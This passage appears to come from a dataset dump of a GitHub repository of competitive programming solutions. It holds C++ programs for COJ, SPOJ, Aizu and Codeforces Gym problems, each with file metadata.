S.find(s);\r\n\t\tif (it != S.end()) {\r\n\t\t\tS.erase(it);\r\n\t\t} else {\r\n\t\t\tS.insert(s);\r\n\t\t}\r\n\t}\r\n\tcout << *S.begin() << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3760683834552765, "alphanum_fraction": 0.43304842710494995, "avg_line_length": 14.714285850524902, "blob_id": "1743b8b48876618fad61967fce00c06ce5d233d0", "content_id": "a92c8d8accb0bd24aa52d6e1a6b05d118847c3d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 351, "license_type": "no_license", "max_line_length": 60, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p1462-Accepted-s489263.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\nusing namespace std;\r\n\r\nchar a[100001];\r\nint aux,n,l,r;\r\n\r\nint main()\r\n{\r\n cin >> n;\r\n while(n--)\r\n {\r\n cin >> a;\r\n l=strlen(a);\r\n aux=0;\r\n for(int i=l>8?l-8:0; i<l; i++)aux=10*aux+(a[i]-'0');\r\n r = (r + aux%128)%128;\r\n }\r\n cout << r << endl;\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.45521023869514465, "alphanum_fraction": 0.46435099840164185, "avg_line_length": 14.830769538879395, "blob_id": "1c7dc5914d4644d099b1a495cc65ab5f2fc4aa26", "content_id": "1c423e0e29f9837f0231427a825a167d40af5ea1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1094, "license_type": "no_license", "max_line_length": 56, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p4047-Accepted-s1294965.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct event {\r\n\tint x, id, type;\r\n\r\n\tevent() {}\r\n};\r\n\r\nbool operator < (const event & lhs, const event & rhs) {\r\n\tif (lhs.x != rhs.x) {\r\n\t\treturn lhs.x < rhs.x;\r\n\t}\r\n\treturn lhs.type < rhs.type;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\r\n\t\tvector <int> x(n), y(n);\r\n\r\n\t\tvector <event> events(2 * n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> x[i];\r\n\t\t \tevents[i].x = x[i];\r\n\t\t\tevents[i].id = i;\r\n\t\t\tevents[i].type = 0;\r\n\r\n\t\t\tcin >> y[i];\r\n\t\t\tevents[i + n].x = y[i];\r\n\t\t\tevents[i + n].id = i;\r\n\t\t\tevents[i + n].type = 1;\r\n\t\t}\r\n\r\n\t\tsort(events.begin(), events.end());\r\n\r\n\t\tint answer = 0;\r\n\r\n\t\tvector <bool> active(n);\r\n\t\tint last = -1;\r\n\t\tfor (int i = 0; i < 2 * n; i++) {\r\n\t\t\tif (events[i].type == 0) {\r\n\t\t\t\tactive[events[i].id] = true;\r\n\t\t\t} else if (active[events[i].id]) {\r\n\t\t\t\tif (x[events[i].id] > last) {\r\n\t\t\t\t\tanswer++;\r\n\t\t\t\t\tlast = events[i].x;\r\n\t\t\t\t}\r\n\t\t\t\tactive[events[i].id] = false;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tcout << answer << \"\\n\";\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.41291290521621704, "alphanum_fraction": 0.4279279410839081, "avg_line_length": 14.857142448425293, "blob_id": "8ae3acc5018fd36f4b5ae542ca4db7e1233ae658", "content_id": "b491200c4f78d2ecf0e87d4750bb0c3f1b54ec2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 666, "license_type": "no_license", "max_line_length": 40, "num_lines": 42, "path": "/Caribbean-Training-Camp-2018/Contest_5/Solutions/E5.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nvector<int> g[MAXN];\nint gr[MAXN];\n\nbool mk[MAXN];\n\nvoid solve( int u ){ if( mk[u] ) return;\n mk[u] = true;\n set<int> s;\n for( auto v : g[u] ){\n solve( v );\n s.insert( gr[v] );\n }\n\n while( s.find( gr[u] ) != s.end() ){\n gr[u]++;\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m; cin >> n >> m;\n\n for( int i = 0; i < m; i++ ){\n int u,v ; cin >> u >> v;\n g[u].push_back(v);\n }\n\n for( int u = 1; u <= n; u++ ){\n solve(u);\n cout << gr[u] << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.4354066848754883, "alphanum_fraction": 0.47607654333114624, "avg_line_length": 12.413793563842773, "blob_id": "c15cdaf69616f1b5f3154224f8384e40dd6dc166", "content_id": "696bc439c4fd74b4f57691e82993e92230d0ab16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 418, "license_type": "no_license", "max_line_length": 34, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p1542-Accepted-s656752.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000000007;\r\n\r\nll power(ll x, ll n) {\r\n\tll r = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1ll) r = (r * x) % mod;\r\n\t\tx = (x * x) % mod;\r\n\t\tn >>= 1ll;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nll tc, x, n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tcout << power(2, n - 1) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.5795841217041016, "alphanum_fraction": 0.5890359282493591, "avg_line_length": 23.481481552124023, "blob_id": "05a4c0bf9d96e46ffd7139383d7e91aebfeca2a7", "content_id": "18ca90d448c4ddb46d7843e48c42384a1444798a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2645, "license_type": "no_license", "max_line_length": 115, "num_lines": 108, "path": "/Aizu/CGL_7_F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double EPS = 1e-9;\n\ninline bool is_in(double a, double b, double x) {\n\tif (a > b) {\n\t\tswap(a, b);\n\t}\n\treturn (a - EPS <= x && x <= b + EPS);\n}\n\nstruct point {\n\tdouble x, y;\n\tpoint() {}\n\tpoint(double _x, double _y) : x(_x), y(_y) {}\n};\n\ninline bool is_in(point A, point B, point P) {\n\treturn (is_in(A.x, B.x, P.x) && is_in(A.y, B.y, P.y));\n}\n\nvoid read(point &P) {\n\tcin >> P.x >> P.y;\n}\n\npoint operator + (const point &P, const point &Q) {\n\treturn point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point &P, const point &Q) {\n\treturn point(P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point &P, const double k) {\n\treturn point(P.x * k, P.y * k);\n}\n\npoint operator / (const point &P, const double k) {\n\tassert(fabs(k) > EPS);\n\treturn point(P.x / k, P.y / k);\n}\n\ninline double dot(const point &P, const point &Q) {\n\treturn P.x * Q.x + P.y * Q.y;\n}\n\ninline double cross(const point &P, const point &Q) {\n\treturn P.x * Q.y - P.y * Q.x;\n}\n\ninline double norm2(const point &P) {\n\treturn dot(P, P);\n}\n\ninline double norm(const point &P) {\n\treturn sqrt(dot(P, P));\n}\n\ninline double dist2(const point &P, const point &Q) {\n\treturn norm2(P - Q);\n}\n\ninline double dist(const point &P, const point &Q) {\n\treturn norm(P - Q);\n}\n\ninline point project(const point &P, const point &P1, const point &P2) {\n\treturn P1 + (P2 - P1) * (dot(P2 - P1, P - P1) / norm2(P2 - P1));\n}\n\ninline point reflect(const point &P, const point &P1, const point &P2) {\n\treturn project(P, P1, P2) * 2.0 - P;\n}\n\ninline point intersect(const point &A, const point &B, const point &C, const point &D) {\n\treturn A + (B - A) * (cross(C - A, C - D) / cross(B - A, C - D));\n}\n\ninline point rotate_point(const point &P, double angle) {\n\treturn point(P.x * cos(angle) - P.y * sin(angle), P.y * cos(angle) + P.x * sin(angle));\n}\n\ninline pair <point, point> point_circle_tangent(const point &P, const point &C, const double r) {\n\tdouble d = dist(P, C);\n\tdouble l = sqrt(d * d - r * r);\n\tdouble a = asin(r / d);\n\treturn make_pair(P + rotate_point((C - P) * (l / d), a), P + rotate_point((C - P) * (l / d), -a));\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(10);\n\n\tpoint P, C;\n\tdouble r;\n\n\tcin >> P.x >> P.y >> C.x >> C.y >> r;\n\n\tpair <point, point> answer = point_circle_tangent(P, C, r);\n\tif (answer.first.x > answer.second.x || (answer.first.x == answer.second.x && answer.first.y > answer.second.y)) {\n\t\tswap(answer.first, answer.second);\n\t}\n\tcout << fixed << answer.first.x << \" \" << fixed << answer.first.y << \"\\n\";\n\tcout << fixed << answer.second.x << \" \" << fixed << answer.second.y << \"\\n\";\n}\n\n" }, { "alpha_fraction": 0.4193548262119293, "alphanum_fraction": 0.4415322542190552, "avg_line_length": 18.66666603088379, "blob_id": "9bc54352cba8e67c5f171133f07c9b0c85a0e51b", "content_id": "3e2a2139d3676995ddcc607ece0e8036798b3d23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 496, "license_type": "no_license", "max_line_length": 58, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2952-Accepted-s645169.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint n, q, a[1005], x, sol;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\twhile (scanf(\"%d%d\", &n, &q) == 2) {\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n scanf(\"%d\", a + i);\r\n if (i >= 3) a[i] += a[i - 1];\r\n\t\t}\r\n\t\twhile (q--) {\r\n\t\t\tscanf(\"%d\", &x);\r\n\t\t\tprintf(\"%d\", lower_bound(a + 2, a + n + 1, x) - a - 1);\r\n\t\t\tif (q) printf(\" \");\r\n\t\t\telse printf(\"\\n\");\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.40047961473464966, "alphanum_fraction": 0.4124700129032135, "avg_line_length": 16.217391967773438, "blob_id": "0c67ea093a958ed8a0682c69f7a93fae1a8a8b4e", "content_id": "4bb10c2a18b7a8f1618c9d95cdd16f17daf0f8c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 417, "license_type": "no_license", "max_line_length": 39, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p2645-Accepted-s537246.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nstring s;\r\nint c,ans,sum;\r\n\r\nint main()\r\n{\r\n while(cin >> c && c)\r\n {\r\n cin >> s;\r\n ans=sum=0;\r\n for(int i=0; i<s.size(); i++)\r\n sum+=(s[i]-'0');\r\n\r\n for(int i=0; i<s.size(); i++)\r\n ans=(c*ans+(s[i]-'0'))%sum;\r\n\r\n if(ans)cout << \"NO\" << endl;\r\n else cout << \"YES\" << endl;\r\n }\r\n}" }, { "alpha_fraction": 0.35754188895225525, "alphanum_fraction": 0.3980447053909302, "avg_line_length": 15.463414192199707, "blob_id": "08e478e4608797ad89648647f15a9e93cf1445bc", "content_id": "60e9fd17fd0cfaa9c6a9cc162ea90ebe05c6cdf1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 716, "license_type": "no_license", "max_line_length": 54, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p3482-Accepted-s963516.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\nconst int N = 1005;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\nint t;\r\nint n, m, l;\r\n\r\nint dp[N][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> l >> m;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tdp[1][i] = 1;\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tadd(dp[1][i], dp[1][i - 1]);\r\n\t\t}\r\n\t\tfor (int i = 2; i <= l; i++) {\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tdp[i][j] = dp[i - 1][min(n, j + m)];\r\n\t\t\t\tadd(dp[i][j], MOD - dp[i - 1][max(0, j - m - 1)]);\r\n\t\t\t\tadd(dp[i][j], dp[i][j - 1]);\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << dp[l][n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38297873735427856, "alphanum_fraction": 0.4133738577365875, "avg_line_length": 16.27777862548828, "blob_id": "ab3c1b8640681af2b90b3157bff63ad8a54777c8", "content_id": "011fdda839294ebb42b9624289d3f14b907e8bb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 658, "license_type": "no_license", "max_line_length": 41, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2706-Accepted-s586450.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000;\r\nint n;\r\nchar c;\r\nbool criba[MAXN + 10];\r\nvector<int> p;\r\n\r\nint main()\r\n{\r\n\tfor (int i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n\tfor (int i = 2; i <= MAXN; i++)\r\n\t\tif (!criba[i]) p.push_back(i);\r\n\twhile (cin >> n >> c >> n)\r\n\t{\r\n\t\tint sol = 1;\r\n\t\tfor (int i = 0; p[i] * p[i] <= n; i++)\r\n\t\t\tif (n % p[i] == 0)\r\n\t\t\t{\r\n\t\t\t\tint cant = 0;\r\n\t\t\t\twhile (n % p[i] == 0)\r\n\t\t\t\t{\r\n\t\t\t\t\tcant++;\r\n\t\t\t\t\tn /= p[i];\r\n\t\t\t\t}\r\n\t\t\t\tsol *= (2 * cant + 1);\r\n\t\t\t}\r\n\t\tif (n > 1) sol *= 3;\r\n\t\tcout << (sol + 1) / 2 << endl;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3333333432674408, "alphanum_fraction": 0.3734939694404602, "avg_line_length": 14.600000381469727, "blob_id": "6fbaee6e1b4cd3520b4d96f808959b2d2cfa14ed", "content_id": "dd0f189797826a3a583ea9a097779e8c7b93cf72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 249, "license_type": "no_license", "max_line_length": 74, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2746-Accepted-s586451.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nchar str[1010];\r\nint s1, s2;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%s\", str);\r\n\tfor (char *p = str; *p; p++)\r\n\t{\r\n\t\tif (*p == 'A' || *p == 'E' || *p == 'I' || *p == 'O' || *p == 'U') s1++;\r\n\t\telse s2++;\r\n\t}\r\n\tprintf(\"%d %d\\n\", s1, s2);\r\n}\r\n" }, { "alpha_fraction": 0.35588234663009644, "alphanum_fraction": 0.37794119119644165, "avg_line_length": 15.055118560791016, "blob_id": "319c7be6975cd419e34f9cad69ea681be4e5605d", "content_id": "7033cb0dcd3f7de69f15cceac73e1a30f5ebdceb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2040, "license_type": "no_license", "max_line_length": 54, "num_lines": 127, "path": "/SPOJ/NUMQDW.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nstring s;\n \nint t, n, c;\n \nbool mark[10];\nbool a[10][10];\n \nconst int mod = 4242;\n \nint sz;\n \nstruct matrix {\n\tint m[70][70];\n\tint * operator [] (int x) {\n\t\treturn m[x];\n\t}\n\tconst int * operator [] (const int x) const {\n\t\treturn m[x];\n\t}\n\tvoid O() {\n\t\tfor (int i = 0; i < sz; i++) {\n\t\t\tfor (int j = 0; j < sz; j++) {\n\t\t\t\tm[i][j] = 0;\n\t\t\t}\n\t\t}\n\t}\n\tvoid I() {\n\t\tfor (int i = 0; i < sz; i++) {\n\t\t\tfor (int j = 0; j < sz; j++) {\n\t\t\t\tm[i][j] = (i == j);\n\t\t\t}\n\t\t}\n\t}\n};\n \nmatrix operator * (const matrix &a, const matrix &b) {\n\tmatrix res;\n\tres.O();\n\tfor (int i = 0; i < sz; i++) {\n\t\tfor (int j = 0; j < sz; j++) {\n\t\t\tfor (int k = 0; k < sz; k++) {\n\t\t\t\tres[i][j] += (a[i][k] * b[k][j]) % mod;\n\t\t\t\tres[i][j] %= mod;\n\t\t\t}\n\t\t}\n\t}\n\treturn res;\n}\n \nmatrix power(matrix x, int n) {\n\tmatrix res;\n\tres.I();\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\tres = res * x;\n\t\t}\n\t\tx = x * x;\n\t\tn >>= 1;\n\t}\n\treturn res;\n}\n \nmatrix M;\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> t;\n\t\twhile (t--) {\n\t\t\tcin >> n >> c >> s;\n\t\t\tif (n == 0) {\n cout << \"1\\n\";\n continue;\n\t\t\t}\n\t\t\tint len = s.size();\n\t\t\tsz = 1 << c;\n\t\t\tM.O();\n\t\t\tfor (int i = 0; i < c; i++) {\n\t\t\t\tmark[i] = false;\n\t\t\t}\n\t\t\tfor (int i = 0; i < c; i++) {\n\t\t\t\tfor (int j = 0; j < c; j++) {\n\t\t\t\t\ta[i][j] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor (int i = 0; i < len; i++) {\n\t\t\t\ts[i] -= 'A';\n\t\t\t\tfor (int j = 0; j < c; j++) {\n\t\t\t\t\tif (mark[j]) {\n\t\t\t\t\t\ta[j][s[i]] = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tmark[s[i]] = true;\n\t\t\t}\n \n\t\t\tfor (int i = 0; i < c; i++) {\n\t\t\t\tM[0][1 << i] = 1;\n\t\t\t}\n\t\t\tfor (int i = 1; i < sz; i++) {\n\t\t\t\tfor (int j = 0; j < c; j++) {\n\t\t\t\t\tbool ok = true;\n\t\t\t\t\tfor (int k = 0; k < c; k++) {\n\t\t\t\t\t\tif ((i & (1 << k)) && !a[k][j]) {\n\t\t\t\t\t\t\tok = false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (ok) {\n\t\t\t\t\t\tM[i][i | (1 << j)]++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tM = power(M, n);\n\t\t\tint ans = 0;\n\t\t\tfor (int i = 1; i < sz; i++) {\n\t\t\t\tans += M[0][i];\n\t\t\t\tif (ans > mod) {\n\t\t\t\t\tans -= mod;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcout << ans << \"\\n\";\n\t\t}\n}\n\n" }, { "alpha_fraction": 0.3271441161632538, "alphanum_fraction": 0.3545534908771515, "avg_line_length": 22.54347801208496, "blob_id": "4d60d74d8d5fd8493b0680146d78ab7ff4c7d7a2", "content_id": "60d76b3c3c58cb1dfcc3204e215ca102dff7e806", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1131, "license_type": "no_license", "max_line_length": 78, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p2961-Accepted-s669595.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : local.cpp\r\n// Author : Kino\r\n// Version :\r\n// Copyright : Another_sUrPRise\r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n#define sf scanf\r\n#define pf printf\r\n\r\ntypedef long long LL;\r\n\r\nLL f[25], c[25][25];\r\n\r\nint main() {//freopen(\"dat.in\",\"r\",stdin);\r\n\tf[0] = 1;\r\n\tfor (LL i = 1; i <= 20; i++)\r\n\t\tf[i] = i * f[i - 1];\r\n\tfor (int i = 0; i <= 20; i++)\r\n\t\tc[i][0] = c[i][i] = 1;\r\n\tfor (int i = 2; i <= 20; i++)\r\n\t\tfor (int j = 1; j < i; j++)\r\n\t\t\tc[i][j] = c[i - 1][j - 1] + c[i - 1][j];\r\n\tLL n, p, a, b, tc;\r\n\twhile (cin >> n && n) {\r\n\t\tcin >> p >> a >> b;\r\n\t\tLL d = 0;\r\n\t\tLL ans = 0;\r\n\t\tfor (int i = 1; i <= p; i++) {\r\n\t\t\tif (i - 1 < a) continue;\r\n\t\t\tif (n - i < b) continue;\r\n\t\t\tans += c[i - 1][a] * c[n - i][b];\r\n\t\t}\r\n\t\tfor (int i = a + 1; i + b <= n; i++)\r\n\t\t\td += c[i - 1][a] * c[n - i][b];\r\n\tLL g = __gcd(ans, d);\r\n\tans /= g;\r\n\td /= g;\r\n\tcout << ans << \"/\" << d << \"\\n\";\r\n\t}\r\n}\r\n\r\n" }, { "alpha_fraction": 0.39234450459480286, "alphanum_fraction": 0.4104200005531311, "avg_line_length": 16.809999465942383, "blob_id": "9543512189c93c50f99286917a4ac36219e8f973", "content_id": "6a3a4be4adfecc8be4a6fc48f8f873954e5910d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1881, "license_type": "no_license", "max_line_length": 56, "num_lines": 100, "path": "/COJ/eliogovea-cojAC/eliogovea-p3675-Accepted-s960820.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nstruct frac {\r\n\tLL x, y;\r\n\tfrac() {\r\n x = 0;\r\n y = 1;\r\n\t}\r\n\tfrac(LL _x, LL _y) : x(_x), y(_y) {}\r\n\tvoid red() {\r\n\t\tLL g = __gcd(x, y);\r\n\t\tx /= g;\r\n\t\ty /= g;\r\n\t}\r\n\tvoid print() {\r\n cout << x << \" / \" << y << \"\\n\";\r\n\t}\r\n};\r\n\r\nbool operator < (const frac &a, const frac &b) {\r\n\treturn a.x * b.y < a.y * b.x;\r\n}\r\n\r\nfrac operator + (const frac &a, const frac &b) {\r\n\tfrac res(a.x * b.y + b.x * a.y, a.y * b.y);\r\n\tres.red();\r\n\treturn res;\r\n}\r\n\r\nfrac get(string s) {\r\n\tLL val = 0;\r\n\tLL pos = 0;\r\n\twhile (s[pos] && s[pos] != '.') {\r\n\t\tval = 10LL * val + s[pos] - '0';\r\n\t\tpos++;\r\n\t}\r\n\tif (s[pos] != '.') {\r\n\t\treturn frac(val, 1);\r\n\t}\r\n\tpos++;\r\n\tLL den = 1;\r\n\twhile (s[pos]) {\r\n\t\tval = 10LL * val + s[pos] - '0';\r\n\t\tden *= 10;\r\n\t\tpos++;\r\n\t}\r\n\tfrac res(val, den);\r\n\tres.red();\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tint n;\r\n\tstring sb, sp;\r\n\tcin >> n >> sp >> sb;\r\n\tfrac b = get(sb);\r\n\tfrac p = get(sp);\r\n\tvector <frac> v(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> sb;\r\n\t\tv[i] = get(sb);\r\n\t\t//v[i].print();\r\n\t}\r\n\tvector <frac> val(1 << n, frac(0, 1));\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tval[1 << i] = v[i];\r\n\t}\r\n\tvector <frac> sum(1 << n, frac(0, 1));\r\n\tfor (int i = 1; i < (1 << n); i++) {\r\n\t\tsum[i] = sum[i ^ (i & -i)] + val[i & -i];\r\n\t}\r\n\tvector <frac> ans;\r\n\tfor (int i = 0; i < (1 << n); i++) {\r\n\t sum[i].x *= 2LL;\r\n sum[i] = sum[i] + b;\r\n if (!(sum[i] < p)) {\r\n ans.push_back(sum[i]);\r\n }\r\n\t}\r\n\r\n\tif (ans.size() == 0) {\r\n cout << \"Strong\\n\";\r\n\t} else {\r\n\t sort(ans.begin(), ans.end());\r\n\t\tint value = 1;\r\n\t\tfor (int i = 1; i < ans.size(); i++) {\r\n\t\t\tif ((ans[i] < ans[i - 1]) || (ans[i - 1] < ans[i])) {\r\n\t\t\t\tvalue++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << value << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.30007392168045044, "alphanum_fraction": 0.316334068775177, "avg_line_length": 20.549999237060547, "blob_id": "45dd0a2d43d5ce401bc797e83d131a301cf1f751", "content_id": "c3f1725a69202852a5e45459a916d86c40a18b1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1353, "license_type": "no_license", "max_line_length": 78, "num_lines": 60, "path": "/COJ/eliogovea-cojAC/eliogovea-p1795-Accepted-s920806.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint t;\r\nint n;\r\nlong long k;\r\nint a[N];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n cin >> t;\r\n while (t--) {\r\n cin >> n >> k;\r\n for (int i = 0; i < n; i++) {\r\n cin >> a[i];\r\n\r\n }\r\n sort(a, a + n);\r\n int lo = 0;\r\n int hi = n - 1;\r\n int x = -1;\r\n while (lo <= hi) {\r\n int mid = (lo + hi) >> 1;\r\n int pos = upper_bound(a, a + n, a[mid]) - a;\r\n if ((long long)pos * n >= k) {\r\n x = mid;\r\n hi = mid - 1;\r\n } else {\r\n lo = mid + 1;\r\n }\r\n }\r\n k -= (long long)x * n;\r\n lo = 0;\r\n hi = n - 1;\r\n int y = -1;\r\n int total = upper_bound(a, a + n, a[x]) - lower_bound(a, a + n, a[x]);\r\n\r\n while (lo <= hi) {\r\n int mid = (lo + hi) >> 1;\r\n int pos = upper_bound(a, a + n, a[mid]) - a;\r\n if ((long long)total * pos >= k) {\r\n y = mid;\r\n hi = mid - 1;\r\n } else {\r\n lo = mid + 1;\r\n }\r\n }\r\n assert(x != -1);\r\n assert(y != -1);\r\n cout << a[x] << \" \" << a[y] << \"\\n\";\r\n }\r\n\r\n}\r\n" }, { "alpha_fraction": 0.4458874464035034, "alphanum_fraction": 0.4848484992980957, "avg_line_length": 19, "blob_id": "8bc9757c11586706a2651d091337f0654be9e9ba", "content_id": "daacef6044769f22cc52509b58d4c04a88d00250", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 231, "license_type": "no_license", "max_line_length": 60, "num_lines": 11, "path": "/COJ/eliogovea-cojAC/eliogovea-p1851-Accepted-s468103.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint h[100000],n,mx;\r\n\r\nint main(){\r\n cin >> n;\r\n for(int i=0; i<n; i++){cin >> h[i]; if(mx<h[i])mx=h[i];}\r\n for(int i=0; i<n; i++)cout << mx-h[i] << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.2587316036224365, "alphanum_fraction": 0.2899816036224365, "avg_line_length": 21.66666603088379, "blob_id": "a42c5aab6047d241bceb6dfbcfaccf475e438b9c", "content_id": "598fb5e3c51c81d6bc74478b2eeacb38d3ce5523", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2176, "license_type": "no_license", "max_line_length": 67, "num_lines": 96, "path": "/Codeforces-Gym/101241 - 2013-2014 Wide-Siberian Olympiad: Onsite round/08.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2013-2014 Wide-Siberian Olympiad: Onsite round\n// 10124108\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n;\nvector<int> v[1200];\nint neg;\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n freopen( \"input.txt\", \"r\", stdin );\n freopen( \"output.txt\", \"w\", stdout );\n\n\n cin >> n;\n int ans = 0;\n for( int i = 1,x; i <= n; i++ ){\n cin >> 